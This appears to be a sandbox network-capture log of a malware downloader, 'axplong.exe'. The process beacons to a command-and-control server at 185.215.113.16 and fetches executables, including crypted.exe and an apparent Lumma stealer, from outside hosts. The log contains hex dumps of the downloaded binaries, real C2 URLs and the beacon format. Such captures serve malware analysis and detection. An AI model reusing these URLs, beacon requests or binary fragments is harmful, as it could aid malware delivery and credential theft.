Sep 27, 2024 16:18:18.625431061 CEST	1236	IN	Data Raw: eb 3f 8b ce 8b 7a 04 03 cf 8b e8 03 6b 0c 3b cd 75 05 29 7b 0c eb 2a 8b 0a 03 4a 04 89 0c 24 8b 7b 08 03 7b 0c 2b f9 89 7c 24 04 2b f0 89 73 0c 8b d4 8b c3 e8 d0 fe ff ff 84 c0 75 04 33 c0 eb 0c b0 01 eb 08 8b 1b 3b fb 75 81 33 c0 59 5a 5d 5f 5e Data Ascii: ?zk;u){*J${{+\|$+su3;u3YZ]_^[SVW}sjh Vj;t#IluhjP3_^[SVWUCjh hU;us
Sep 27, 2024 16:18:18.625463963 CEST	1236	IN	Data Raw: de 73 5b 8b cf 8b d6 2b d3 8b c3 e8 99 fd ff ff 8d 4c 24 04 8b d7 b8 fc 05 49 00 e8 5d fa ff ff 8b 5c 24 04 85 db 74 1f 8d 4c 24 0c 8b 54 24 08 8b c3 e8 26 fc ff ff 8b 44 24 0c 89 44 24 04 8b 44 24 10 89 44 24 08 83 7c 24 04 00 74 14 8d 54 24 04 Data Ascii: s[+L$I]\$tL$T$&D$D$D$D$\|$tT$I3_^[U3Uhn@d2d"hI9=MIthI.II(Ixhj$I=$It/$I3L@=uI@
Sep 27, 2024 16:18:18.625498056 CEST	672	IN	Data Raw: 8b c7 e8 ea fe ff ff 84 c0 75 17 a1 18 06 49 00 89 1d 18 06 49 00 8b 10 89 43 04 89 13 89 18 89 5a 04 5f 5e 5b c3 8d 40 00 83 3d 1c 06 49 00 00 7e 40 83 3d 1c 06 49 00 0c 7d 0c c7 05 c8 05 49 00 07 00 00 00 eb 2b a1 1c 06 49 00 83 c8 02 8b 15 20 Data Ascii: uIICZ_^[@=I~@=I}I+I I I3 I3ISVW<$L$(I\$u3R;s)GGt$;sGG;uo IG
Sep 27, 2024 16:18:18.625530958 CEST	1236	IN	Data Raw: f8 ff ff 7f 7e 0a 33 c0 89 45 fc e9 54 01 00 00 33 c9 55 68 20 23 40 00 64 ff 31 64 89 21 80 3d 4d 00 49 00 00 74 0a 68 cc 05 49 00 e8 20 f2 ff ff 83 c3 07 83 e3 fc 83 fb 0c 7d 05 bb 0c 00 00 00 81 fb 00 10 00 00 0f 8f 93 00 00 00 8b c3 85 c0 79 Data Ascii: ~3ET3Uh #@d1d!=MIthI }y$ITty B;uy$I3\|&y=$IDMMAMREIIZ;IJ)I=I
Sep 27, 2024 16:18:18.625562906 CEST	1236	IN	Data Raw: 05 b8 05 49 00 8b 45 00 25 03 00 00 80 0b f0 89 75 00 b0 01 59 5a 5d 5f 5e 5b c3 8b c0 55 8b ec 51 53 56 57 8b f2 8b d8 80 3d c4 05 49 00 00 75 13 e8 eb f3 ff ff 84 c0 75 0a 33 c0 89 45 fc e9 91 00 00 00 33 d2 55 68 65 27 40 00 64 ff 32 64 89 22 Data Ascii: IE%uYZ]_^[UQSVW=Iuu3E3Uhe'@d2d"=MIthIt]6%;}t:}3ZYYdhl'@=MIthIE_^[Y]@S~<Hu
Sep 27, 2024 16:18:18.625597954 CEST	1236	IN	Data Raw: 04 83 c7 04 5a 83 e2 03 74 1c 8a 0e 3a 0f 75 2f 4a 74 13 8a 4e 01 3a 4f 01 75 24 4a 74 08 8a 4e 02 3a 4f 02 75 19 01 c0 eb 15 5a 38 d9 75 10 38 fd 75 0c c1 e9 10 c1 eb 10 38 d9 75 02 38 fd 5f 5e 5b c3 8b c0 53 56 51 89 ce c1 ee 02 74 26 8b 08 8b Data Ascii: Zt:u/JtN:Ou$JtN:OuZ8u8u8u8_^[SVQt&9uENtHZ9u8Nu^t6:u0NtH:Ju%NtH:Ju1^[^8u8u8u8^[Wfx_SVWR1)110
Sep 27, 2024 16:18:18.625627041 CEST	104	IN	Data Raw: 84 81 26 44 d2 0a 90 db 00 27 a4 9f 90 44 17 aa f8 ae 10 e3 c5 c4 fa 44 59 9c b0 e9 07 9c 8a f2 64 45 d4 f3 f7 eb e1 4a 7a 95 cf 45 62 a2 95 07 dc d8 3e b8 39 46 c7 91 0e a6 ae a0 19 e3 a3 46 17 0c 75 81 86 75 76 c9 48 4d e4 a7 93 39 3b 35 b8 b2 Data Ascii: &D'DDYdEJzEb>9FFuuvHM9;5S]=];Z T7a
Sep 27, 2024 16:18:18.630455017 CEST	1236	IN	Data Raw: 8b 5a 8b d8 25 5d 89 f9 db 67 f8 f3 27 bf a2 c8 5d dd 80 6e 9b 97 20 8a 02 52 60 c4 25 75 f0 59 d5 6e 62 11 35 ae ca 7b c3 ff 25 cc 11 49 00 8b c0 53 33 db 6a 00 e8 ee ff ff ff 83 f8 07 75 1c 6a 01 e8 e2 ff ff ff 25 00 ff 00 00 3d 00 0d 00 00 74 Data Ascii: Z%]g']n R`%uYnb5{%IS3juj%=t=u[U HEEPjjh1@hAuM3Uhy1@d0d EEPEPjjh1@EP3ZYYdh1@EPf Hf%fUf?ff H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49616	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:23.660726070 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 31 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000191001&unit=246122658369
Sep 27, 2024 16:18:24.840044975 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Sep 27, 2024 16:18:24.908472061 CEST	53	OUT	GET /inc/penis.exe HTTP/1.1 Host: 185.215.113.16
Sep 27, 2024 16:18:25.250013113 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:25 GMT Content-Type: application/octet-stream Content-Length: 419328 Last-Modified: Thu, 26 Sep 2024 16:40:28 GMT Connection: keep-alive ETag: "66f58e7c-66600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0b d9 e1 fd 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 4a 06 00 00 1a 00 00 00 00 00 00 ae 68 06 00 00 20 00 00 00 80 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 06 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 60 68 06 00 4b 00 00 00 00 80 06 00 f4 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0Jh @ @`hK H.textH J `.rsrcL@@.relocd@BhH[.((0s~%:&~&s%(+o8[o%F~2(%G~2(%H~2(%e~2(~3(o8(ss~}~s(o}{I~2(o9I~2(8C~2(o:{~4(8{~5(
Sep 27, 2024 16:18:25.250029087 CEST	1236	IN	Data Raw: 08 00 11 08 28 19 00 00 0a 16 fe 01 13 0a 11 0a 39 d1 03 00 00 00 11 08 16 6f 1a 00 00 0a 13 0c 12 0c 28 1b 00 00 0a 6f 1c 00 00 0a 11 08 16 17 6f 1d 00 00 0a 28 1e 00 00 0a 13 08 11 06 7b 02 00 00 04 7e 36 03 00 04 28 cf 05 00 06 13 0b 11 0b 28 Data Ascii: (9o(oo({~6((9ssss ~%:&~'s!%(+s ~%:&~(s!%(+s ~
Sep 27, 2024 16:18:25.250042915 CEST	1236	IN	Data Raw: 00 00 01 1b 30 06 00 32 02 00 00 02 00 00 11 00 73 2c 00 00 0a 0a 00 02 1f 46 7e 32 03 00 04 28 bf 05 00 06 28 33 00 00 0a 0b 07 28 34 00 00 0a 16 fe 01 0d 09 39 09 00 00 00 00 06 13 04 dd fb 01 00 00 02 7e 42 03 00 04 28 ff 05 00 06 0c 00 07 73 Data Ascii: 02s,F~2((3(49~B(sh~2(~C(&8s~D(~D(o5~E(~D(o5~F(~G(~H(
Sep 27, 2024 16:18:25.250140905 CEST	1236	IN	Data Raw: 05 00 06 0c 00 07 73 1a 01 00 06 13 05 11 05 1f 48 7e 32 03 00 04 28 bf 05 00 06 6f 3d 00 00 0a 7e 43 03 00 04 28 03 06 00 06 26 16 13 06 38 ba 01 00 00 00 14 13 07 00 73 01 04 00 06 25 11 05 11 06 17 7e 44 03 00 04 28 07 06 00 06 6f 35 00 00 0a Data Ascii: sH~2(o=~C(&8s%~D(o5~N(/%~D(o5o.~O(3%~D(o5~P(7%~D(o1~Q(;%~D(o5(> @Bj[!
Sep 27, 2024 16:18:25.250153065 CEST	1236	IN	Data Raw: 00 00 00 fe 0c 00 00 45 06 00 00 00 05 00 00 00 83 00 00 00 41 00 00 00 cb 00 00 00 4b 00 00 00 d7 00 00 00 38 00 00 00 00 11 06 11 0f 7e 4c 03 00 04 28 27 06 00 06 fe 04 13 12 20 03 00 00 00 38 c2 ff ff ff 00 20 00 00 00 00 7e 2e 03 00 04 7b be Data Ascii: EAK8~L(' 8 ~.{9& 888l~2(~C(& ~.{:k& 8` ~.{9I& 8>X ~.{9#& 8:O
Sep 27, 2024 16:18:25.250165939 CEST	1236	IN	Data Raw: 06 1a 7e 44 03 00 04 28 07 06 00 06 08 1b 7e 47 03 00 04 28 13 06 00 06 72 01 00 00 70 7e 14 00 00 0a 6f 47 00 00 0a 7e 5f 03 00 04 28 73 06 00 06 00 13 07 00 dd 08 00 00 00 26 00 00 dd 00 00 00 00 11 07 14 fe 03 13 08 11 08 39 09 00 00 00 06 11 Data Ascii: ~D(~G(rp~oG~_(s&9oHX~L(':8*ALm?!`ho0
Sep 27, 2024 16:18:25.250179052 CEST	776	IN	Data Raw: 00 70 11 02 28 16 00 00 06 1f 6f 7e 32 03 00 04 28 bf 05 00 06 28 11 00 00 06 13 01 38 ed 02 00 00 00 11 03 17 58 13 03 20 1a 00 00 00 7e 2e 03 00 04 7b 1e 03 00 04 3a 75 fe ff ff 26 20 14 00 00 00 38 6a fe ff ff 00 38 05 03 00 00 38 cf ff ff ff Data Ascii: p(o~2((8X ~.{:u& 8j888 ~.{9F& 8;8 8+9$8 888 88 8~9? ~.{:& 8
Sep 27, 2024 16:18:25.250190020 CEST	1236	IN	Data Raw: 05 38 e1 ff ff ff 11 01 28 34 00 00 0a 13 09 38 09 01 00 00 11 08 3a d9 fc ff ff 20 02 00 00 00 38 84 fb ff ff 00 72 09 00 00 70 11 02 28 59 00 00 0a 1f 6e 7e 32 03 00 04 28 bf 05 00 06 28 33 00 00 0a 13 01 38 ae ff ff ff 11 01 28 12 00 00 06 13 Data Ascii: 8(48: 8rp(Yn~2((38( 8L8 ~.{:3& 8(:, 88 8o~2((3 ~.{:& 88 8( 8
Sep 27, 2024 16:18:25.250201941 CEST	1236	IN	Data Raw: 00 00 00 00 11 08 2a 01 1c 00 00 02 00 3a 00 89 c3 00 18 00 00 00 00 00 00 07 00 da e1 00 08 12 00 00 01 1b 30 06 00 d0 04 00 00 0e 00 00 11 20 01 00 00 00 fe 0e 06 00 38 00 00 00 00 fe 0c 06 00 45 03 00 00 00 5c 00 00 00 28 00 00 00 52 00 00 00 Data Ascii: :0 8E\(R8W ~.{:& 8s ~.{:& 888olon ~.{9& 8E88
Sep 27, 2024 16:18:25.250216007 CEST	1236	IN	Data Raw: 06 00 06 38 0c 00 00 00 1f 3b 7e 32 03 00 04 28 bf 05 00 06 7e 48 03 00 04 28 17 06 00 06 38 00 00 00 00 00 00 dc 38 58 fb ff ff 41 4c 00 00 02 00 00 00 c2 00 00 00 59 02 00 00 1b 03 00 00 72 00 00 00 00 00 00 00 00 00 00 00 81 00 00 00 17 03 00 Data Ascii: 8;~2(~H(88XALYr.0\~d(8~e(8(` ~.{:& 88E8*oq>
Sep 27, 2024 16:18:25.250227928 CEST	1236	IN	Data Raw: 00 04 7e 1d 00 00 04 39 05 00 00 00 38 34 00 00 00 16 d0 07 00 00 02 28 4c 00 00 0a 18 8d 38 00 00 01 25 16 16 14 28 52 00 00 0a a2 25 17 17 14 28 52 00 00 0a a2 28 53 00 00 0a 28 54 00 00 0a 80 1d 00 00 04 7e 1d 00 00 04 7b 55 00 00 0a 7e 1d 00 Data Ascii: ~984(L8%(R%(R(S(T~{U~\|~2(oVo~o8oo~ 98$(L(L(_(M ~ {N~ ~980rp(L8%(R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49617	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:27.400558949 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 32 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000254001&unit=246122658369
Sep 27, 2024 16:18:28.092833042 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49620	185.215.113.117	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:28.110666037 CEST	56	OUT	GET /inc/crypted.exe HTTP/1.1 Host: 185.215.113.117
Sep 27, 2024 16:18:28.900671005 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:28 GMT Content-Type: application/octet-stream Content-Length: 321536 Last-Modified: Mon, 16 Sep 2024 13:46:13 GMT Connection: keep-alive ETag: "66e836a5-4e800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f2 26 e8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 dc 04 00 00 0a 00 00 00 00 00 00 0e fb 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 fa 04 00 57 00 00 00 00 00 05 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 05 00 0c 00 00 00 7c f9 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL&f @ @`W \| H.text `.rsrc@@.reloc @BHh7c73wV)J.:aW'=\|Q&pIIoOgQP~CMv@PSla=:u?ED"Jp2rBH?v0]2>F}s6N.h#Z6g^guaW&2n?vS}!^Ehdpfc4{/OIvQ,U>xKcD/E7.TtyfSC)Fm"2Ms3"KLezcBb-l\TYQB!?e]4/(554'[g
Sep 27, 2024 16:18:28.900688887 CEST	224	IN	Data Raw: 24 0a b7 15 e6 e6 67 62 3b 65 aa ea 51 d3 e0 72 e5 85 91 47 65 28 61 3c c6 e3 9a 71 43 8c 4a d6 1e 77 03 81 ea 51 99 dc 19 df 94 c3 12 af 4a 2c 8a d2 c2 fb 79 62 77 d3 2e 49 7d 94 40 dd 1c 85 7b 6f d0 74 97 aa 82 15 82 74 3e dc 96 82 76 9f bc 4b Data Ascii: $gb;eQrGe(a<qCJwQJ,ybw.I}@{ott>vK@)X8R@["kQR[l*SvtSys)jK,z%8Ql]T8zGc]V3E'=Ss2^aq>pBI#t0= !ur;
Sep 27, 2024 16:18:28.900703907 CEST	1236	IN	Data Raw: 47 5c 76 e2 bf 9a 17 81 1d 3f 6b 4c 61 2d b9 ac aa ba 55 07 42 da 56 8c a8 66 0b 58 c1 f3 02 87 d8 2c 9e b5 b1 29 17 c2 04 e7 1a 03 42 3a 12 55 1e b3 6e 20 d4 37 82 a0 ac 91 d6 8f e8 87 13 30 85 6a 75 c4 ca 0c 05 ef fa 42 0b 94 6f 1d 51 6b a7 0d Data Ascii: G\v?kLa-UBVfX,)B:Un 70juBoQkWW2_V;&y=lIN3r>OCjZ,;0{"[NmDUKu{K>($N)<}> 1}T(eAe,@7t$9]<
Sep 27, 2024 16:18:28.900727034 CEST	1236	IN	Data Raw: 4c 9d b1 db 38 97 2e 64 cb 05 23 b0 0c 4e 47 50 79 02 10 1a 9a 29 43 b5 32 62 e2 8d 32 83 a8 45 f2 69 d0 4b ca 8a 6b 2b 9c 20 b9 c5 bb 39 c1 9a 29 8a 63 97 5a f2 c6 34 99 12 b2 98 77 0e 5b ba bc 95 65 88 5c 3c 51 87 bb 9e ab 3e cf a6 19 97 37 6e Data Ascii: L8.d#NGPy)C2b2EiKk+ 9)cZ4w[e\<Q>7ny!Yx.%Z-y~!}fF1pUezw1Kx6L9}tc?mqij>jrcY,2Gjv6zL7}8aZ;>lw/vS+U<
Sep 27, 2024 16:18:28.900741100 CEST	1236	IN	Data Raw: ae a0 cb 6e 23 8d 93 cd 6d 61 ec b8 c4 0f 38 a4 39 a9 1c 94 73 1e 02 43 58 fd 00 3e f9 e1 cc 22 1b f1 bb 61 ed cf 17 5d 9b e2 6e 95 4f 40 dc a5 84 74 ec 3a b1 b3 aa 1b 7f c7 6c 32 f6 ab 65 94 c8 b1 1e 56 2a c8 f3 b9 32 ea 25 7a 14 5f 1c 1e 69 92 Data Ascii: n#ma89sCX>"a]nO@t:l2eV*2%z_iRFk3H$45NckZ,H/h7,>;!>esn#i.0jS!MCd1Yh43z1+`[R&sDS2rvIv-ZGP!oV&
Sep 27, 2024 16:18:28.900783062 CEST	1236	IN	Data Raw: 81 42 80 0e 66 83 39 4c 1e 72 68 c4 80 da 90 e1 c6 af b9 cc d6 22 7c 34 06 e4 9e aa 86 0b 00 85 8d 82 cc 82 24 b8 ad 4b 0b 7e 7b c7 75 92 77 96 c8 9d 8e a5 43 59 be b2 41 d1 b7 a3 3d 78 d4 37 f6 2b 11 62 3a 41 49 5a 23 51 f9 58 33 e8 bc 05 ce b6 Data Ascii: Bf9Lrh"\|4$K~{uwCYA=x7+b:AIZ#QX3-UZ'lx>9i;K=7i+xn8BUVnfJ;65RK$X9`@wD9?\|Kc =U)W h8@.NOLH#,F
Sep 27, 2024 16:18:28.900798082 CEST	1236	IN	Data Raw: 46 30 cc a6 a2 10 96 28 41 14 94 8a e1 95 c9 37 97 a2 c0 42 e4 79 d2 c8 81 33 8b cf 92 04 ad 62 fe 75 71 ba 2b 1a 47 aa e3 20 ee 6c 3f 5b 30 f1 22 45 01 2e 52 ed 7d d9 e0 4f 90 2e ca 41 82 f2 4a 70 14 72 8e 18 9f 35 39 3f 30 37 cb 19 9d a5 12 50 Data Ascii: F0(A7By3buq+G l?[0"E.R}O.AJpr59?07PE~t~hQvR:F9i' t',@xb%$7[9[vh33z1r'L)saw3m%qyYG\uiepK)nOsxXU=Wq8%~
Sep 27, 2024 16:18:28.900811911 CEST	1236	IN	Data Raw: b7 9d 8d 69 6a fd 56 0c a2 f9 ed 8f 36 29 4e 66 dc 54 e3 50 80 b6 d9 a8 9a d1 50 f1 0d 56 52 7f 97 51 28 bd 82 f2 45 69 ba c3 8d 4e cd 1e b7 31 53 6d 26 6f 42 f7 60 98 0d cf a8 71 d1 91 5a 55 79 0f df cf 99 8e 96 08 51 d4 a1 c9 bf 76 3d 37 0a 70 Data Ascii: ijV6)NfTPPVRQ(EiN1Sm&oB`qZUyQv=7p\5855#\|g9WFd5XyZ`2mzF(x9~-A-!Gs(4;d{[87i`yq'e/Ko'cm`@C3dsbedWNMZNW
Sep 27, 2024 16:18:28.900835991 CEST	776	IN	Data Raw: cc aa 0e 59 aa a1 da e0 06 eb 86 f8 6a cd 99 16 a9 a0 11 cc 0a 86 51 1f 51 35 12 fa 75 1f 1a 2a f9 76 25 20 fc f2 b8 22 f9 75 9c c7 3a 8c 0a 9e 1c 6e 27 7f 29 a4 04 6c ee 60 7f 15 50 c2 a0 5e 2a ab 14 48 2b 29 32 14 2d 8d df 8e 8c 89 5c ed 69 87 Data Ascii: YjQQ5uv% "u:n')l`P^H+)2-\i`,j\EY/Y>O;pd1m QMd.x@uAp5J6BuuXS11.,+x^s2k`57[w6[+Q!'\|x~0b9P6v`A
Sep 27, 2024 16:18:28.900851011 CEST	1236	IN	Data Raw: 00 e6 3b 68 22 15 5d e6 03 a7 1e 26 00 f7 aa 30 c0 3d 40 26 79 4f a4 2f 98 09 5d 5e 5b 99 8b e2 84 27 7b 4a b2 0f 20 13 ba 91 20 8b 4d 18 05 ee 99 34 d1 98 2a e5 bb d4 d9 86 a6 3b 3c 97 ab 60 cd cf ce fe 5e dc ab 15 38 70 e7 23 95 37 54 18 d5 c5 Data Ascii: ;h"]&0=@&yO/]^['{J M4;<`^8p#7T\E::f?!1zfo[vL<_XF#B9aDq65mGQFUBbkf.z@snteSg.k.Jf.Qx0'+?P)~ {b
Sep 27, 2024 16:18:28.905864000 CEST	1236	IN	Data Raw: b6 a1 b7 b3 cd e8 5f 14 b3 db 85 82 e5 f4 bb c2 58 15 b7 90 98 9b 2b ff 38 99 3f c3 5e c7 90 57 b9 6b 62 53 6c 97 09 e2 ec 8f 3b 4b d8 a6 0a 31 eb 2f b1 b8 69 29 87 01 e8 e7 7a 77 a3 2a 41 f6 64 46 83 74 db 80 36 7c cb 72 73 4a 76 d6 fa e0 53 e2 Data Ascii: _X+8?^WkbSl;K1/i)zwAdFt6\|rsJvSH0CK:\varXBDLOb+zSS~:}hz/pS ^]c05GA&7spLSxgk">A:%p+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49622	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:30.357280970 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 32 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000290001&unit=246122658369
Sep 27, 2024 16:18:31.126415014 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49623	185.215.113.117	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:31.169507027 CEST	61	OUT	GET /inc/LummaC222222.exe HTTP/1.1 Host: 185.215.113.117
Sep 27, 2024 16:18:31.870445967 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:31 GMT Content-Type: application/octet-stream Content-Length: 360448 Last-Modified: Mon, 23 Sep 2024 14:42:37 GMT Connection: keep-alive ETag: "66f17e5d-58000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 3c 94 ed 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 aa 04 00 00 d2 00 00 00 00 00 00 c0 d3 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 06 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8a e5 04 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 d0 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac e6 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<f@@@xH.text `.rdata)*@@.dataX^@.relocHJ6@B
Sep 27, 2024 16:18:31.870603085 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 53 57 56 83 e4 f8 81 ec 68 02 00 00 8b 45 18 89 44 24 28 8b 45 14 8b 7d Data Ascii: USWVhED$(E}D$LG@t$,tud)0Cu(
Sep 27, 2024 16:18:31.870621920 CEST	1236	IN	Data Raw: c2 f7 d2 8d b0 ff fe fe fe 21 d6 f7 c6 80 80 80 80 75 18 83 7d 08 00 74 be 83 f9 04 7d b9 90 90 90 90 90 90 90 90 90 3c 25 74 55 84 c0 8b 74 24 2c 0f 84 6f 27 00 00 83 7d 08 00 0f 84 46 ff ff ff 89 fa f7 d2 21 f2 89 f1 f7 d1 21 f9 29 d1 81 f9 ff Data Ascii: !u}t}<%tUt$,o'}F!!),L$LQuVUW'1)AAP?w[$dDAAA@AuAAu
Sep 27, 2024 16:18:31.870632887 CEST	1236	IN	Data Raw: 54 24 18 89 f3 89 f1 90 90 90 90 90 90 90 90 90 90 90 90 8b 74 24 0c 80 7c 32 ff 30 0f 85 f5 09 00 00 4e 8d 41 ff 89 74 24 0c 83 fe 02 0f 82 e6 09 00 00 83 f9 01 89 c1 75 d9 e9 da 09 00 00 88 44 24 45 b0 01 89 44 24 04 89 d1 81 f1 00 00 f0 ff 89 Data Ascii: T$t$\|20NAt$uD$ED$!\$uT$L$0gD$$$\|$tD$$T$0D$D$$H;L$vT$JD$$
Sep 27, 2024 16:18:31.870651960 CEST	1236	IN	Data Raw: 85 c9 74 04 89 44 24 0c 8b 5c 24 04 8b 44 24 0c e9 8e 11 00 00 88 94 24 63 02 00 00 c7 44 24 24 01 00 00 00 c6 44 24 44 00 c6 44 24 38 00 c7 44 24 40 00 00 00 00 c7 44 24 10 00 00 00 00 8d 9c 24 63 02 00 00 c7 44 24 1c 00 00 00 00 c7 44 24 0c 00 Data Ascii: tD$\$D$$cD$$D$DD$8D$@D$$cD$D$1D$4n\$L$(L$($cD$$D$DD$8D$@D$$cD$(D$(T$(L$L)T$(y2[D$PY
